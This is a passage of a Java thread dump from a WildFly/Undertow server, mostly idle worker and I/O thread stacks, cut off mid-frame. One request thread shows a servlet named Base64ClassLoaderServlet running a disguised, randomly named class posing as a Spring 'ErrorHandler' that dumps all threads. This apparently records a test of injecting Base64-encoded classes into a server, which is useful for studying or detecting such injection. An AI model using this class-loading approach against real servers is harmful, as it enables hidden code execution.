java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-4" #110 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Reference Reaper #1" #139 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@621ac6f5 + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.5.1.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"default I/O-13" #119 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 4" #29 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 6" #31 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 3" #28 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"MSC service thread 1-2" #17 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"MSC service thread 1-3" #18 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 25" #50 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-7" #113 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"Common-Cleaner" #10 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@38d8c2d5 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.5/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at java.base@11.0.5/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:134) + +"ServerService Thread Pool -- 80" #149 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-3" #109 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 12" #37 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default task-1" #152 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.5/java.lang.Thread.getAllStackTraces(Thread.java:1657) + at org.springframework.ytJIo.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:337) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:156) + at deployment.app.war//Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at deployment.app.war//EmptyFilter.doFilter(EmptyFilter.java:21) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78) + at io.undertow.core@2.0.27.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:132) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.core@2.0.27.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.core@2.0.27.Final//io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.core@2.0.27.Final//io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.core@2.0.27.Final//io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50) + at io.undertow.core@2.0.27.Final//io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.core@2.0.27.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61) + at io.undertow.core@2.0.27.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68) + at io.undertow.core@2.0.27.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:269) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:78) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:133) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:130) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction$$Lambda$899/0x0000000840bcf840.call(Unknown Source) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1504) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$900/0x0000000840bcfc40.call(Unknown Source) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1504) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$900/0x0000000840bcfc40.call(Unknown Source) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1504) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$900/0x0000000840bcfc40.call(Unknown Source) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1504) + at org.wildfly.extension.undertow@18.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$900/0x0000000840bcfc40.call(Unknown Source) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:249) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:78) + at io.undertow.servlet@2.0.27.Final//io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:99) + at io.undertow.core@2.0.27.Final//io.undertow.server.Connectors.executeRootHandler(Connectors.java:376) + at io.undertow.core@2.0.27.Final//io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:830) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:1982) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1486) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1377) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"DeploymentScanner-threads - 2" #65 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@186a00d6 + java.lang.Thread.State: WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 70" #100 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"MSC service thread 1-6" #21 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 37" #62 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default task-2" #153 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4ef9bb72 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"Reference Reaper #2" #140 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@621ac6f5 + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.5.1.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 65" #93 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 42" #69 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"management I/O-2" #94 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 41" #68 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 30" #55 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 49" #76 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 40" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65d7ecb + java.lang.Thread.State: WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 67" #97 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Timer-0" #106 [WAITING] on java.util.TaskQueue@32443d9b + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.Object.wait(Object.java:328) + at java.base@11.0.5/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.5/java.util.TimerThread.run(Timer.java:506) + +"ServerService Thread Pool -- 56" #83 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 13" #38 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default Accept" #129 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-5" #111 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 50" #77 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"expiration-thread--p3-t1" #145 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4cf49f6c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at 